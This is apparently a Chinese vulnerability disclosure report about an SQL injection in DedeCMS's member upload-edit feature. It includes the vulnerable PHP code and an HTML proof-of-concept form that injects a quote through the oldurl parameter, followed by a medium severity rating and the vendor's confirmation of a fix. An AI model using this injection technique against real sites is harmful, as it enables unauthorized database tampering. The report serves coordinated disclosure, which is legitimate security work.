2014-01-14: 细节已通知厂商并且等待厂商处理中 2014-01-14: 厂商已经确认,细节仅向厂商公开 2014-01-17: 细节向第三方安全合作伙伴开放 2014-03-10: 细节向核心白帽子及相关领域专家公开 2014-03-20: 细节向普通白帽子公开 2014-03-30: 细节向实习白帽子公开 2014-04-14: 细节向公众公开
我是来继续做贡献的~
member/upload_edit.phpelse if($dopost=='save'){ $title = HtmlReplace($title,2); if($mediatype==1) $utype = 'image'; else if($mediatype==2) { $utype = 'flash'; } else if($mediatype==3) { $utype = 'media'; } else { $utype = 'addon'; } $title = HtmlReplace($title, 2); $exname = preg_replace("#(.*)/#", "", $oldurl);// 文件名是获取.前面的 $exname = preg_replace("#\.(.*)$#", "", $exname); echo $exname ; $filename = MemberUploads('addonfile', $oldurl, $cfg_ml->M_ID, $utype,$exname, -1, -1, TRUE);//返回上传的文件名 SaveUploadInfo($title, $filename, $mediatype);//利用返回的带入查询 ShowMsg("成功修改文件!", "uploads_edit.php?aid=$aid");}function SaveUploadInfo($title,$filename,$medaitype=1,$addinfos=''){ global $dsql,$cfg_ml,$cfg_basedir; if($filename=='') { return FALSE; } if(!is_array($addinfos)) { $addinfos[0] = $addinfos[1] = $addinfos[2] = 0; } if($medaitype==1) { $info = ''; $addinfos = GetImageSize($cfg_basedir.$filename,$info); } $addinfos[2] = @filesize($cfg_basedir.$filename); $row = $dsql->GetOne("SELECT aid,title,url FROM `#@__uploads` WHERE url LIKE '$filename' AND mid='".$cfg_ml->M_ID."'; "); $uptime = time(); if(is_array($row)) { $query = "UPDATE `#@__uploads` SET title='$title',mediatype='$medaitype', width='{$addinfos[0]}',height='{$addinfos[1]}',filesize='{$addinfos[2]}',uptime='$uptime' WHERE aid='{$row['aid']}'; "; $dsql->ExecuteNoneQuery($query); } else { $inquery = "INSERT INTO `#@__uploads`(title,url,mediatype,width,height,playtime,filesize,uptime,mid) VALUES ('$title','$filename','$medaitype','".$addinfos[0]."','".$addinfos[1]."','0','".$addinfos[2]."','$uptime','".$cfg_ml->M_ID."'); ";echo $inquery ;//注入就在这里发生了! $dsql->ExecuteNoneQuery($inquery); } $fid = $dsql->GetLastID(); AddMyAddon($fid, $filename); return TRUE;}
利用方法<form id="frmUpload" enctype="multipart/form-data" action="http://127.0.0.1/dede/member/uploads_edit.php?dopost=save&title=ss&oldurl=1'.php" method="post">看Oldurl就知道了~<input type="file" name="addonfile" id="addonfile" size="50"><br><input name="mode" type="hidden" value="2"><input id="btnUpload" type="submit" value="Upload"></form>
过滤啊!
危害等级:中
漏洞Rank:6
确认时间:2014-01-14 22:24
已修复,感谢反馈
暂无